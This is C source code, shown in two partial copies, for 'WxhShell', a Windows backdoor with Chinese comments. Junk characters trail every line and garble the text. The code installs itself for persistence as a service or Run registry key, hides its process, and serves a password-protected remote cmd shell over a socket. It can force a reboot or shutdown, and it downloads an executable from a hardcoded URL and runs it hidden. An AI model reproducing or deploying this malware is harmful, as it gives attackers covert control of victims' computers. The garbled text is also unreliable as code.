    closesocket(wsh); 5#::42oE  
    ExitThread(0); X [;n149o  
    } \3whM6tK  
    break; 1~[GGl  
    } $it>*%  
  // 获取shell yn04[PN2  
  case 's': { `3.bux~  
    CmdShell(wsh); fa,;Sw  
    closesocket(wsh); c}w[ T  
    ExitThread(0); <n0j'P>1  
    break; s "l ^v5  
  } n yNHjn |W  
  // 退出 sVP2$?  
  case 'x': { `7'=~BP?X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dm`gzGl  
    CloseIt(wsh); C12y_E8Un  
    break; rm,h\  
    } uQkQ#'e|  
  // 离开 YrTjHIn~w  
  case 'q': { I# |ib  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QM'>)!8  
    closesocket(wsh); g'V,K\TG  
    WSACleanup(); 4'XCO+i#  
    exit(1); ,tuZ_"?M  
    break; 1JN/oq;  
        } #K/#-S  
  } zxvowM  
  } .T}S[`Yx5  
qFjnuQ,w  
  // 提示信息 [Kd"M[1[ <  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LU@+O12  
} 'w}/ o+x@  
  } @fSqGsSk  
[R Hji47  
  return; ,y/N^^\  
} }C&kzJBEF  
j(\jYH>   
// shell模块句柄 ^ v@& q  
int CmdShell(SOCKET sock) 3(La)|k  
{ p\M\mK  
STARTUPINFO si; -Tr*G4  
ZeroMemory(&si,sizeof(si)); j es[a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '>r"+X^W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <US!XMrCg  
PROCESS_INFORMATION ProcessInfo; h`/1JjP  
char cmdline[]="cmd"; kM/;R)3t4/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mhze !!  
  return 0; Hsz).u  
} )wz3 m L  
STgYXA(  
// 自身启动模式 D$y-Kh  
int StartFromService(void) V .VV:`S  
{ qct:xviH<|  
typedef struct 1]Gp \P}  
{ w B[H &  
  DWORD ExitStatus; pwO U6A!  
  DWORD PebBaseAddress; dz Z75  
  DWORD AffinityMask; :i:M7}r  
  DWORD BasePriority; ?AJE*=b  
  ULONG UniqueProcessId; *^P$^lm?S  
  ULONG InheritedFromUniqueProcessId; t@\op}Z-M  
}   PROCESS_BASIC_INFORMATION; :0RfA%  
Gfn?1Kt{  
PROCNTQSIP NtQueryInformationProcess; z gDc=  
9N]V F'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ThSB\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EAM2t|M G.  
!o&b:7  
  HANDLE             hProcess; s4{WPU9  
  PROCESS_BASIC_INFORMATION pbi; :Pf2oQ  
Zm!5X9^!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); byUstm6y  
  if(NULL == hInst ) return 0; VaRP+J}UA.  
Zl+Ba   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  G(1y_t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dLn Md0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O}IRM|r"  
Lk~aM bw#  
  if (!NtQueryInformationProcess) return 0; b)Px  
<ny)yK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gv3AJ'NL  
  if(!hProcess) return 0; ZeyA bo  
w,QO!)j!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %>G(2)Fb\\  
_ X* A  
  CloseHandle(hProcess); R2[-Q"|Ra  
.j)f'<;%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *U=%W4?W  
if(hProcess==NULL) return 0; qOk=:1`3  
It/IDPx4ga  
HMODULE hMod; !w9w{dtW=  
char procName[255]; hh<Es|v  
unsigned long cbNeeded; BcvCm+.S:  
 qg+bh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V@"Y"}4n4  
Z/S7ei@56  
  CloseHandle(hProcess); vF,iHzv  
jo_wBJKE  
if(strstr(procName,"services")) return 1; // 以服务启动 *l[;g  
d;$<K  
  return 0; // 注册表启动 ?{O >&<~  
} sX~ `Vn&  
:sY pZX1  
// 主模块 XOe8(cXa9  
int StartWxhshell(LPSTR lpCmdLine) yLI)bn!"  
{ AGe\PCn-  
  SOCKET wsl; 6?3f+=e"~!  
BOOL val=TRUE; `;9Z?]}`  
  int port=0; 9y~5@/3 2R  
  struct sockaddr_in door; $bd&$@sA  
[JY1|N  
  if(wscfg.ws_autoins) Install(); 5Cp6$V|/kv  
vThK@P!s  
port=atoi(lpCmdLine); Q3$AL@".  
M%evk4_27  
if(port<=0) port=wscfg.ws_port; %`cP|k  
mct$.{~  
  WSADATA data; 0 2lI-xHe  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^rmcyy8;g  
?4kM5NtP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ky`xBO =  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \D9J!K82  
  door.sin_family = AF_INET; c?;YufH'j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }J~ d6m  
  door.sin_port = htons(port); %q~YJ*\  
=peodj^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1gA9h-'w  
closesocket(wsl); V6:S<A  
return 1; J 8z|ua  
} [f^:V:) {  
h&t/ L  
  if(listen(wsl,2) == INVALID_SOCKET) { yBJf'-K  
closesocket(wsl); J-6l<%962%  
return 1; X7cqAi  
} 3KyIBrdi?  
  Wxhshell(wsl); 1%v!8$  
  WSACleanup(); J <"=c z$  
59Lv/Mfy  
return 0; qHZ!~Kq,"'  
r9nyEzk  
} 78=a^gRB  
%j.B/U$  
// 以NT服务方式启动 \iBEyr]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H2ZRUFu  
{ Lp|7s8?  
DWORD   status = 0; 7s2 l3  
  DWORD   specificError = 0xfffffff; m| /?((s  
88@" +2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !mjrI "_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ftr8~*]O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yHXQCWY{8;  
  serviceStatus.dwWin32ExitCode     = 0; Ft<6`C  
  serviceStatus.dwServiceSpecificExitCode = 0; W> +/N4  
  serviceStatus.dwCheckPoint       = 0; wM-I*<L>  
  serviceStatus.dwWaitHint       = 0; 'ie+/O@G  
qZV.~F+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {Rm N1'%  
  if (hServiceStatusHandle==0) return; lYF~CNvE  
O`;e^PhN  
status = GetLastError(); !08\w@  
  if (status!=NO_ERROR) A-&'/IHR"B  
{ w1Xe9'$Qb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e5s=@-[  
    serviceStatus.dwCheckPoint       = 0; B24,;2J  
    serviceStatus.dwWaitHint       = 0; I+!?~]AUuq  
    serviceStatus.dwWin32ExitCode     = status; N!{waPbPi  
    serviceStatus.dwServiceSpecificExitCode = specificError; < Z>p1S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fk-}2_=v i  
    return; |z+K]R8_  
  } oEuV&m|yX  
$`wo8A|)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z6Xn9  
  serviceStatus.dwCheckPoint       = 0; vNA~EV02  
  serviceStatus.dwWaitHint       = 0; Pf,lZU?f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'QP~uK  
} !&f>,?wlP  
NbyXi3@v  
// 处理NT服务事件,比如:启动、停止 UNC%<=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hmG^l4B.T  
{ uto E}U7]  
switch(fdwControl)  {ch+G~oS  
{ {S Oy-  
case SERVICE_CONTROL_STOP: m~<<ok_  
  serviceStatus.dwWin32ExitCode = 0; (nUSgZz5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K]Rb~+a<  
  serviceStatus.dwCheckPoint   = 0; u]uUm1Er  
  serviceStatus.dwWaitHint     = 0; A4mnm6Tf  
  { o6@`aU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q$B\)9`v[  
  } AnD#k ]  
  return; 0+m4 }]6l  
case SERVICE_CONTROL_PAUSE: i\yp(tE%^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )C^@U&h&  
  break; 6$ \69   
case SERVICE_CONTROL_CONTINUE: $;Nw_S@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; z<~yns`Y.  
  break; }%lk$g';  
case SERVICE_CONTROL_INTERROGATE: _]"uq/UWp  
  break; ?Dn 6  
}; 5W4Tp% Lda  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G>?'b  
} ])vWvNx  
U3rpmml  
// 标准应用程序主函数 3zsjL=ta  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K[s!3.u  
{ .cCB,re  
h#?)H7ft  
// 获取操作系统版本 !IAd.<,  
OsIsNt=GetOsVer(); p/4}SU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ELa:yIl0  
qV&ai{G:  
  // 从命令行安装 y|h:{<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'joE-{  
&|#z" E^-  
  // 下载执行文件 hutdw>  
if(wscfg.ws_downexe) { ~X2 cTG!,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s{@3G8  
  WinExec(wscfg.ws_filenam,SW_HIDE); =CGB}qU l0  
} n\'@]qG)Z4  
1 ,e`,  
if(!OsIsNt) { 1WJ%n;  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ps=<@,dks  
HideProc(); YH-+s   
StartWxhshell(lpCmdLine); 0OF]|hH  
} l~j{i/>  
else `bMwt?[*  
  if(StartFromService()) T*v@hbJ  
  // 以服务方式启动 u .R   
  StartServiceCtrlDispatcher(DispatchTable); y - Ge"mY  
else O$$$1VHYo  
  // 普通方式启动 6fcn(&Qk  
  StartWxhshell(lpCmdLine); S1G=hgF_L  
kf>L  
return 0; g4=6\vg  
} F]k$O$)0  
:^ *9E b  
n=tg{_9f%  
S)~Riuy$  
=========================================== ^Z~'>J  
p&<X&D   
9G)q U  
o^b4l'&o  
s\#eD0|  
xulwn{R s  
" XF=GmkO  
L.1pO2zPe  
#include <stdio.h> 8jxs%N,aI  
#include <string.h> gt= _;KZ  
#include <windows.h> hp6%zUR  
#include <winsock2.h> 2 bQC 2  
#include <winsvc.h> IsjD-t  
#include <urlmon.h> DGllJ_/Z  
8E9W\@\  
#pragma comment (lib, "Ws2_32.lib") _O*"_^6  
#pragma comment (lib, "urlmon.lib") P0N%77p>"  
$xU5vCwAo  
#define MAX_USER   100 // 最大客户端连接数 #7~i.8L  
#define BUF_SOCK   200 // sock buffer rBUdHd9  
#define KEY_BUFF   255 // 输入 buffer C)Ez>~Z  
ND|!U#wMNV  
#define REBOOT     0   // 重启 <O#/-r>2  
#define SHUTDOWN   1   // 关机 QX$i ]y%S  
jSyF]$"  
#define DEF_PORT   5000 // 监听端口 1vF^<{%v  
o]vU(j_Ju  
#define REG_LEN     16   // 注册表键长度 Y"U -Rc  
#define SVC_LEN     80   // NT服务名长度 fGD#|a;,  
,Uh7Q-vd  
// 从dll定义API Kpo{:a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k^IC"p Uc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .CL\``  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `Al5(0Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?`oCc [hY  
. d;XLS~  
// wxhshell配置信息 p6yC1\U!o  
struct WSCFG { Rj|8l K;,  
  int ws_port;         // 监听端口 wM;9plYlw0  
  char ws_passstr[REG_LEN]; // 口令 ]B<Hrnn  
  int ws_autoins;       // 安装标记, 1=yes 0=no bw8~p%l?  
  char ws_regname[REG_LEN]; // 注册表键名 dfDz/sD*  
  char ws_svcname[REG_LEN]; // 服务名 CjtXU=}A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z5uetS^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 76\ir<1up  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xsx @aF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ew=8"V`C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |8$x  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?dukK3u  
i '5Q.uX  
}; P8Bv3  
m"~^-mJ-  
// default Wxhshell configuration Bf;dp`(/   
struct WSCFG wscfg={DEF_PORT, '*5I5'[ X,  
    "xuhuanlingzhe", 3%] %c6  
    1, 2NLD7A  
    "Wxhshell", bUf2uWy7  
    "Wxhshell", x.CNDG  
            "WxhShell Service", b8QA>]6A  
    "Wrsky Windows CmdShell Service", !_VKJZuH  
    "Please Input Your Password: ", 1f]04TI  
  1, Fg)Iw<7_2  
  "http://www.wrsky.com/wxhshell.exe", J~6+zBF  
  "Wxhshell.exe" W>Eee?  
    }; *.0}3  
8,pnm  
// 消息定义模块 Fu0 dYN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .(OFYK<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $DZ\61  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 66*/"dBwm  
char *msg_ws_ext="\n\rExit."; IWvLt  
char *msg_ws_end="\n\rQuit."; 4=S.U`t7  
char *msg_ws_boot="\n\rReboot..."; lC Bb0k2  
char *msg_ws_poff="\n\rShutdown..."; %|$h<~  
char *msg_ws_down="\n\rSave to "; tCAh?nR  
f"zXiUV  
char *msg_ws_err="\n\rErr!"; -y70-K3  
char *msg_ws_ok="\n\rOK!"; aA?Uf~ "t  
x2 *l5t  
char ExeFile[MAX_PATH]; HV-c DL  
int nUser = 0; ?!=yp#  
HANDLE handles[MAX_USER]; ?El8:zt?|  
int OsIsNt; ?IR]y-r  
`iYiAc  
SERVICE_STATUS       serviceStatus; {3F;:%$`c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Ts^z(v~D2  
DD`Bl1)  
// 函数声明 6? I,sZW  
int Install(void); Umx~!YL!  
int Uninstall(void); R57>z`;  
int DownloadFile(char *sURL, SOCKET wsh); H`#{zt);  
int Boot(int flag); o! W 71  
void HideProc(void); qPeaSv]W  
int GetOsVer(void); 22aS <@}  
int Wxhshell(SOCKET wsl); 6)i4&  
void TalkWithClient(void *cs); u~WBu|  
int CmdShell(SOCKET sock); l"70|~  
int StartFromService(void); !n9H[QP^9  
int StartWxhshell(LPSTR lpCmdLine); b&[bfM<  
Bx9R!u5D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jdz]+Q`jq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m)l<2 `CM  
xN lxi  
// 数据结构和表定义 4&b*|"Iw  
SERVICE_TABLE_ENTRY DispatchTable[] = nn[OC=cDN  
{ ]-ad\PI$  
{wscfg.ws_svcname, NTServiceMain}, X{cFq W7  
{NULL, NULL} +9LIpU&5  
}; = BcKWC  
L=g(w$H  
// 自我安装 HRQ3v`P.  
int Install(void) Ruy qB>[o  
{ X5[.X()M4  
  char svExeFile[MAX_PATH]; N@}5Fnk-  
  HKEY key; <}Hfu-PLo  
  strcpy(svExeFile,ExeFile); Fpe>|"&  
py \KY R  
// 如果是win9x系统,修改注册表设为自启动 m9~cQ!m  
if(!OsIsNt) { vs=8x\W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s=KK)6T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b}&2j3-n,  
  RegCloseKey(key); DIAHI V<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { su2|x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2!@ER i  
  RegCloseKey(key); K/T4T\  
  return 0; ]2zzY::Sd=  
    } _8QHx;}  
  } 4hl`~&yDf  
} ~)fd+~4L  
else { FdwlRuG  
i>elK<R4  
// 如果是NT以上系统,安装为系统服务 4Su|aWL-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V1l9T_;f  
if (schSCManager!=0)  b79z<D  
{ K^6fg,&  
  SC_HANDLE schService = CreateService A#;TY:D2  
  ( Q[6<Y,}(pd  
  schSCManager, S+*%u/;l  
  wscfg.ws_svcname, A_pcv7=@  
  wscfg.ws_svcdisp, ;NoD4*  
  SERVICE_ALL_ACCESS, >Hd Pcsl L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1EmZ/@k/Y  
  SERVICE_AUTO_START, "e;wN3/bF  
  SERVICE_ERROR_NORMAL, 8+|7*Ud  
  svExeFile, B k yW  
  NULL, 'Dx_n7&=  
  NULL, .9uw@ Eq  
  NULL, >Y)FoHa+/  
  NULL, 6\5"36&/rQ  
  NULL o0B3G  
  ); BpR#3CfW  
  if (schService!=0) <c!I\y  
  { #Zq[.9!q{  
  CloseServiceHandle(schService); _/pdZM,V  
  CloseServiceHandle(schSCManager); x6iT"\MO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kf -/rC)>  
  strcat(svExeFile,wscfg.ws_svcname); D//uwom  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z$]HZ#aRE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dk@j!-q^  
  RegCloseKey(key); ];U}'&  
  return 0; 69C>oX  
    } HLYo+;j3|  
  } Ks/Uyu. X  
  CloseServiceHandle(schSCManager); %:=Jr#a  
} UEh-k"  
} ;Y@"!\t}  
Zt{\<5j  
return 1; !<AY0fpY  
} KOP*\\1 J  
PTf.(B"z  
// 自我卸载 zrazFI0G  
int Uninstall(void) eGW~4zU  
{ 4K<T_B/  
  HKEY key; 6JZ$; x{j  
1Zi(5S)  
if(!OsIsNt) { 6( ~DS9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +f]\>{o4  
  RegDeleteValue(key,wscfg.ws_regname); qcdENIy0b  
  RegCloseKey(key); }rbsarG@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BdYl sYp  
  RegDeleteValue(key,wscfg.ws_regname); Mz:t[rfs  
  RegCloseKey(key); j[q$;uSD  
  return 0; oEuo@\U05v  
  } AfOq?V  
} C~([aH@-I  
} A Q e~F  
else { "RG #e +  
q1O}dSPwX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \y*,N^wu  
if (schSCManager!=0) M~ ^ {S[o  
{ #&jr9RB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4t;m^Iv  
  if (schService!=0) k3FpD=N  
  { |Sf` Cs  
  if(DeleteService(schService)!=0) { [AHZOA   
  CloseServiceHandle(schService); {aRZBIv  
  CloseServiceHandle(schSCManager); $xsmF?Dsx5  
  return 0; }bxx]rDl  
  } bAl0z)p  
  CloseServiceHandle(schService); 05>xQx?"m4  
  } _-.~>C  
  CloseServiceHandle(schSCManager); mK2M1r  
} /Dn  
} l .wf= /  
;PrL)!  
return 1; M+N7JpR  
} b[I;6HW  
<Gr775"  
// 从指定url下载文件 6$JRV  
int DownloadFile(char *sURL, SOCKET wsh) ]&D;'),   
{ yfD)|lK  
  HRESULT hr; oQvG3(.  
char seps[]= "/"; sN `NZyG  
char *token; }Pj3O~z  
char *file; R{"7q:-  
char myURL[MAX_PATH]; Je6=N3)  
char myFILE[MAX_PATH]; #^bkM)pc  
3GSoHsNk  
strcpy(myURL,sURL); vkXdKL(q  
  token=strtok(myURL,seps); Hkv4t5F  
  while(token!=NULL) TZ7{cekQ  
  { gr/o!NC  
    file=token; <p'~$vK  
  token=strtok(NULL,seps); fDdTs@)6  
  } "5-S:+  
_faI*OY8  
GetCurrentDirectory(MAX_PATH,myFILE); s1!_zf_  
strcat(myFILE, "\\"); <9S?wju4W'  
strcat(myFILE, file); ]x hmM1$  
  send(wsh,myFILE,strlen(myFILE),0); NAj1ORy4pX  
send(wsh,"...",3,0); GLe(?\Ug=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bT@7&  
  if(hr==S_OK) s q_N!  
return 0; 3mIX9&/  
else #lax0IYY=  
return 1;  {Y9m;b,X  
6dh@DG*k  
} #4{f2s[j6  
6qK0G$>  
// 系统电源模块 E( M\U5o:  
int Boot(int flag) \<VwGbzFi  
{ XHO}(!l\  
  HANDLE hToken; a$MMp=p  
  TOKEN_PRIVILEGES tkp; FeS6>/  
/h0<0b?i  
  if(OsIsNt) { i4.s_@2Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =VlO53Hy{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _tQ=ASe0  
    tkp.PrivilegeCount = 1; 4yC{BRbi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q=yQEh|Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BNg\;2r  
if(flag==REBOOT) { `X]-blHo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~Gc+naE>  
  return 0; cW),Y|8  
} c?d+>5"VX  
else { qTiUha9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SGH"m/ e  
  return 0; V0L^pDLOV  
} /'G'GQrr  
  } [*?P2.bf  
  else { 6.~(oepu  
if(flag==REBOOT) { x}1(okc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~@z5Ld3xz  
  return 0; E[LXZh  
} -z0,IYG }  
else { "[H9)aAj7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]&VD$Z984r  
  return 0; Z|d_G}  
} 8&ZUkDGkJ  
} 5cyl:1Ln  
t2+m7*76  
return 1; -H.;73Kb[  
} `X^ 4~6/q  
yN~=3b>  
// win9x进程隐藏模块 Bi kCjP[b  
void HideProc(void) 9A3Q&@,  
{ QsDa b4  
43:~kCF[s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,i*^fpF`F"  
  if ( hKernel != NULL ) :!tQqy2  
  { Z/;rM8[{&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &.7\{q\(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 15U=2j*.b  
    FreeLibrary(hKernel); ,3GM'e{hV  
  } R) @ k|  
N4fuV?E`  
return; giaO7Qh~  
} 3u{[(W}08  
FAE>N-brQ  
// 获取操作系统版本 hUA3(!0)  
int GetOsVer(void) ej%C<0/%n  
{ ,Z>RvLl  
  OSVERSIONINFO winfo; 4G_dnf_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "5dh]-m n  
  GetVersionEx(&winfo); mvUYp,JECl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M_79\Gz"  
  return 1; <hy>NM@$  
  else X[Y!=e4z  
  return 0; >t*zY~R.  
} Ubn5tN MK  
7BI0g@$Nn]  
// 客户端句柄模块 SC|cCK hqi  
int Wxhshell(SOCKET wsl) Uut,cQ". d  
{ 2N)Ywqvj  
  SOCKET wsh; Ujj2A^  
  struct sockaddr_in client; )2^OBfl7  
  DWORD myID; 7* `ldao~  
mH8s'F  
  while(nUser<MAX_USER) &Puu Xz<  
{ ^x/0*t5};z  
  int nSize=sizeof(client); mDV 2vg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9wWjl}%  
  if(wsh==INVALID_SOCKET) return 1; a~XNRAh  
Nr(WbD[T  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /pb7  
if(handles[nUser]==0) "lmiGR*u  
  closesocket(wsh); gWWy!H  
else j6v +S  
  nUser++; 4G`YZZQ  
  } 7Q[P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W%h<@@c4,  
9MXauTKI  
  return 0; 5/*ZqrJw{"  
} <M\Z}2d  
%5z88-\  
// 关闭 socket ?$s2] }v  
void CloseIt(SOCKET wsh) 3G>E>yJ  
{ =3J~ Fk  
closesocket(wsh); uP* >-s'm  
nUser--; fO(.I  
ExitThread(0); T:}Ed_m}q  
} F%Mlid;1  
BM3)`40[]  
// 客户端请求句柄 fi,=z  
void TalkWithClient(void *cs) 49kY]z|"w  
{ gXfAz,  
iu1iO;q  
  SOCKET wsh=(SOCKET)cs; /aPq9B@  
  char pwd[SVC_LEN]; <$=8'$T81  
  char cmd[KEY_BUFF]; {9=U6m^R2  
char chr[1]; hB^"GYZ  
int i,j; -pjL7/gx  
)O+9 v}2  
  while (nUser < MAX_USER) { @rJ#Dr  
sP&E{{<QTF  
if(wscfg.ws_passstr) { Jq; }q63:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /JfXK$`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~&q e"0  
  //ZeroMemory(pwd,KEY_BUFF); ca`=dwe>  
      i=0; CRx:3u!:  
  while(i<SVC_LEN) { 5_i&}c23Vn  
}Jtaq[y\r  
  // 设置超时 ; 6zu!  
  fd_set FdRead; :@3d  
  struct timeval TimeOut; 0GG;o[<  
  FD_ZERO(&FdRead); &\(YmY  
  FD_SET(wsh,&FdRead); Y/hay[6  
  TimeOut.tv_sec=8; ^KhFBed   
  TimeOut.tv_usec=0; D0-e,)G}V,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); . =+7H`A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CkflEmfe  
8~I>t9Q+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Wu8RG}  
  pwd=chr[0]; 1|]-F;b  
  if(chr[0]==0xd || chr[0]==0xa) { 4 IHl'*D[#  
  pwd=0; *%8us~w5/  
  break; 9Z*vp^3  
  } @s[bRp`gd  
  i++; :I7MP   
    } JxWHrsh[  
I2Us!W>6-  
  // 如果是非法用户,关闭 socket &]M<G)9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W%wS+3Q/  
} 0$ (}\hMLt  
2<O hO ^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;F:(5GBi  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5_O.p3$tV  
GphG/C (  
while(1) { w9oiu$7),  
vS0P] AUo  
  ZeroMemory(cmd,KEY_BUFF); 8R z=)J  
);6zV_^!  
      // 自动支持客户端 telnet标准   (>jME  
  j=0; g5"g,SFGr  
  while(j<KEY_BUFF) { ooq>/OI0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I;`V*/s8"  
  cmd[j]=chr[0]; {L+?n*;CA  
  if(chr[0]==0xa || chr[0]==0xd) { x|Ei_hI-  
  cmd[j]=0; =:2V4H(F  
  break; IKU -  
  } W t8 RC  
  j++; I?PKc'b  
    } z#\Z|OKU  
G ;z2}Ei  
  // 下载文件 U/ZbE?it>  
  if(strstr(cmd,"http://")) { 4j | vzyc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PaZFM  
  if(DownloadFile(cmd,wsh)) R_*\?^k|A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jd%#eD*k9  
  else $'&5gFr9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b+C>p2%  
  } x,>=X` T  
  else { mr/^lnO  
jeW0;Cz J~  
    switch(cmd[0]) { Zj}, VB*T  
  A$ S9 `  
  // 帮助 Yd,*LYd2EL  
  case '?': { UA/3lH}  
